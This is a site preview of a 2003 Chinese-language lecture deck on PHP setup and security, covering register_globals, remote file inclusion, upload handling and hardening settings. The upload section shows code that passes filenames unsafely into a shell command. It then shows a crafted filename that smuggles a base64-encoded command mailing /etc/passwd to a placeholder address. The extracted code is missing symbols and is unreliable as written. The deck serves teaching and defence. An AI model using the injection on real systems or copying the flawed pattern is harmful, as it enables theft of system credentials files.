PHP简介与安全问题之探讨_第1页
PHP简介与安全问题之探讨_第2页
PHP简介与安全问题之探讨_第3页
PHP简介与安全问题之探讨_第4页
PHP简介与安全问题之探讨_第5页
已阅读5页,还剩9页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、PHP簡介與安全問題之探討助教: 林義能資科系計算機中心2003.11.271大綱簡介安裝步驟Register_globals的問題程式撰寫注意事項遠端檔案存取檔案上傳Session可能產生的問題其他注意事項參考資料2PHP簡介Server-side scripting用來產生動態網頁的語言和資料庫(mysql, postgres, etc)結合Command-line scripting用來寫shell scriptClient-side GUI applications利用PHP-GTK (version 2 is under development for PHP5)Based on G

2、TK (最新版為GTK+)多平台的開放原始碼的 GUI 工具集 3安裝步驟 (1/2)root test php-4.2.3# ./configure -prefix=/usr/local/php4 -with-apxs2=/usr/local/apache2/bin/apxs -with-mysql=/usr/local/mysql -with-config-file-path=/usr/local/php4 -prefix= 安裝的路徑-with-apxs2:為 Apache2 專用的選項 -with-mysql:For MySQL! -with-config-file-path:php

3、的設定檔 php.ini 放置的目錄 開始編譯與安裝: root test php-4.2.3# make; make install 4安裝步驟 (2/2)轉存 PHP 基本組態檔案: root test php-4.2.3# cp php.ini-dist /usr/local/php4/php.ini 和 “-with-config-file-path” 設定有關將 php.ini 裡register_global設成on (視情況而定,之後會再說明)啟動 Apache 當中的 PHP 選項: root test php-4.2.3# vi /usr/local/apache2/conf

4、/httpd.conf 確認可以找到底下兩行: LoadModule php4_module modules/libphp4.so AddType application/x-httpd-php .php.phtml 重新啟動 Apache : root test php-4.2.3# /usr/local/apache2/bin/apachectl stop root test php-4.2.3# /usr/local/apache2/bin/apachectl (注意: 不要用”restart”的選項)5伺服器設定注意事項 (1/2)Register_globals參數之設定原因經Web

5、傳送的變數其namespace跟普通的變數相同駭客可能會嘗試設定一些變數的值,而因此取得權限範例說明:解決方法PHP4.2.0以後的版本default設為”off”可能需要修改之前的程式(見範例二)如果使用者不想修改的話,可以利用.htaccess (但server必須設定AllowOverride)php_flag register_globals Onphp_flag track_vars Off範例一:範例二:使用者端伺服器端改成 $_REQUESTta_name6伺服器設定注意事項 (2/2)假如一定要將register_globals設成”on”例如修改範圍太廣,工程浩大解決方法不要

6、使用由client端傳來的值利用HTTP_GET_VARS、 HTTP_POST_VARS,HTTP_COOKIE_VARS, 和 HTTP_POST_FILES等變數以確定資料來源正確7遠端檔案存取使php程式可以讀取遠端的檔案範例危險在哪裡?駭客在自己的電腦上開啟一個同名的檔案,內容如下將$libdir設為”http:/” 8檔案上傳 (1/2)檔案上傳功能隱藏之危險範例假設可讓使用者上傳檔案,然後再將檔案加以壓縮,並儲存到特定的目錄if (isset($_FILESfile) $tmp_name = $_FILESfiletmp_name; $cmp_name = dirname($_F

7、ILESfiletmp_name) . /$_FILESfilename.zip; $filename = basename($cmp_name); if (file_exists($tmp_name) $systemcall = $zip $cmp_name $tmp_name; $output = $systemcall; 9檔案上傳 (2/2)使用者自己touch一個檔案紅色部分所代表的意義上傳檔案之後實際發生之結果userlocalhost# touch ;php -r $code=base64_decode( bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gP

8、CAvZXRjL3Bhc3N3ZA=); system($code); userlocalhost# /usr/bin/zip /tmp/ ;userlocalhost# php -r $code=base64_decode( bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA=); system($code); userlocalhost# .zip /tmp/phpY4iatI $code的內容究竟為何?10Session的問題有問題的情況Session變數可能會被改變必須在變數註冊之前改變其值set_session.php che

9、ck.php 11其他注意事項 (1/2)妥善放置重要資料放在web server request存取不到的地方(即document tree以外) 利用include或require來存取For example: connect.ini檔案上傳檢查檔名是否有問題考慮將上傳功能disable掉(php.ini: file_uploads = Off)盡量不要用sessionSession會將資料儲存成暫存檔,因而會有被存取的可能特別是multi-hosted的系統12其他注意事項 (2/2)設定 error reporting levelError, warning, notice等等error_reporting = E_ERROR | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERRORDafult只有E_NOTICE不會log設定safe_mode限制可被執行的指令(by “exec()”等等)Disable檔案上傳的功能設定allow_url_fopen限制遠端檔案存取的功能建議設為off更新版本13參考資料1 PHP Homepage, http:/2 Secure Programming for Linux and Unix HOWTO.3 Shaun Clowes, “Exploiting Common Vulnera

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论